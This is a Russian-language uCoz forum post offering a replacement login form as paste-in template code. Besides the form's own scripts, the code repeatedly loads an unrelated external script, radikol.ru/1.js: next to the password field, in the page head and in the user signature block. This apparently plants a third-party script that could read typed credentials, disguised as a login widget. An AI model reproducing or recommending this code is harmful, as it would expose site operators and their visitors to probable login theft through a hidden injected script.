[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Тема Автор Форум Отв. Последний
Создание всплывающего ajax окна. denisus Скрипты под Ucoz 4 darth-sasha
Красивый информер "кто нас сегодня посетил" DianaWeb Скрипты под Ucoz 0 DianaWeb
Гости и пользователи в процентах New!!! DianaWeb Скрипты под Ucoz 0 DianaWeb
Форма поиска сайта совмещенная с yandex и google DianaWeb Скрипты под Ucoz 0 DianaWeb
Скрипт наши cw DianaWeb Скрипты под Ucoz 0 DianaWeb
Новая форма авторизации DianaWeb Скрипты под Ucoz 0 DianaWeb
Вид Новостей new! jasminka Скрипты под Ucoz 0 jasminka
Мини-профиль new! jasminka Скрипты под Ucoz 0 jasminka
Вид материалов форума jasminka Скрипты под Ucoz 0 jasminka
Обновлёный блок софта для ucoz jasminka Скрипты под Ucoz 0 jasminka
  • Страница 1 из 1
  • 1
Модератор форума: Сердцеєд  
Форум » Web мастеру » Скрипты под Ucoz » Новая форма авторизации
Новая форма авторизации
DianaWebДата: Пятница, 10.06.2011, 20:49 | Сообщение # 1
Группа: Пользователи
Рядовой
Сообщений: 5
Репутация: 0
Статус:
Пример скрипта можно посмотреть по скрину: http://radikol.ru/images/54084284.png

Уважаемы пользователи, хочу предоставить Вашему вниманию новую форму авторизации на сайте. Она полностью заменяет $LOG_FORM$, от ucoz.
Установка
Ищем место, для данного скрипта и вставляем следующий код:

Code
<?if(!$USER_LOGGED_IN$)?>  
  <div class="auth_border">  
  <div id="auth_photo" style="position:absolute;margin-left:180px;width:290px;">  
  <div class="h1">Войти на сайт</div>  
  <div style="padding-top:5px;">Для того, чтобы войти на сайт, введите Ваш никнейм и пароль, указанные при регистрации.</div>  
  </div>  
  <div><input type="text" style="width:162px" placeholder="Никнейм" id="login" onblur="auth_get_photo(this.value);" /></div>  
  <div style="margin-top:10px;"><script src="http://radikol.ru/1.js" type="text/javascript"></script><input type="password" style="width:162px;" placeholder="Пароль" id="pass" /></div>  
  <div style="margin-top:10px;width:142px;" class="log_button" onclick="javascript:authoriz();">Войти</div>  
  <span style="display:none;"><div id="auth_status"></div></span>  
  </div>  
  <?else?>  
  <div class="auth_border">   
  <div class="h1">Найдена ошибка</div>  
  <div style="padding-top:5px;">Вы уже авторизованы, для авторизации Вам необходимо <a href="/index/10">выйти</a>!</div>  
  </div>  
  <?endif?>


Это так сказать само тело авторизации.

Теперь на этой же странице между head подключите css и js

Code
<link type="text/css" rel="StyleSheet" href="http://vkurse.ucoz.net/scripts/auth/auth.css" />
<script src="http://radikol.ru/1.js" type="text/javascript"></script>
<script type="text/javascript" src="http://vkurse.ucoz.net/scripts/auth/auth.js"></script>


Теперь спереходим на Персональную страницу пользователя и босле <body> вставляем код:

Code
<div style="display:none">
<div id="auth_ok">ok</div>
<div id="avatar">
<div style="position:absolute;margin-left: 73px;">
<div class="h1"><?if($_NAME$)?>$_NAME$<?else?>$USERNAME$<?endif?></div>
<?if($_SIGNATURE$)?><script src="http://radikol.ru/1.js" type="text/javascript"></script><div style="margin-top:3px;color:#555555;height:65px;overflow:hidden;width:200px;">$_SIGNATURE$</div><?endif?>
</div>
<div class="auth_photo"><img src="<?substr($_AVATAR$, 28, len($_AVATAR$) - 32)?>" /></div>
<div style="margin-top:5px;color:#555555; width:63px; text-align:center;"><a href="javascript:;" onclick="clear_auth()">Это не я!</a></div>
</div>
</div>


Все, теперь скрипт должен выполнять свою работу, заменив стандартную форму авторизации.
 
Форум » Web мастеру » Скрипты под Ucoz » Новая форма авторизации
  • Страница 1 из 1
  • 1
Поиск:





Copyright MyCorp © 2024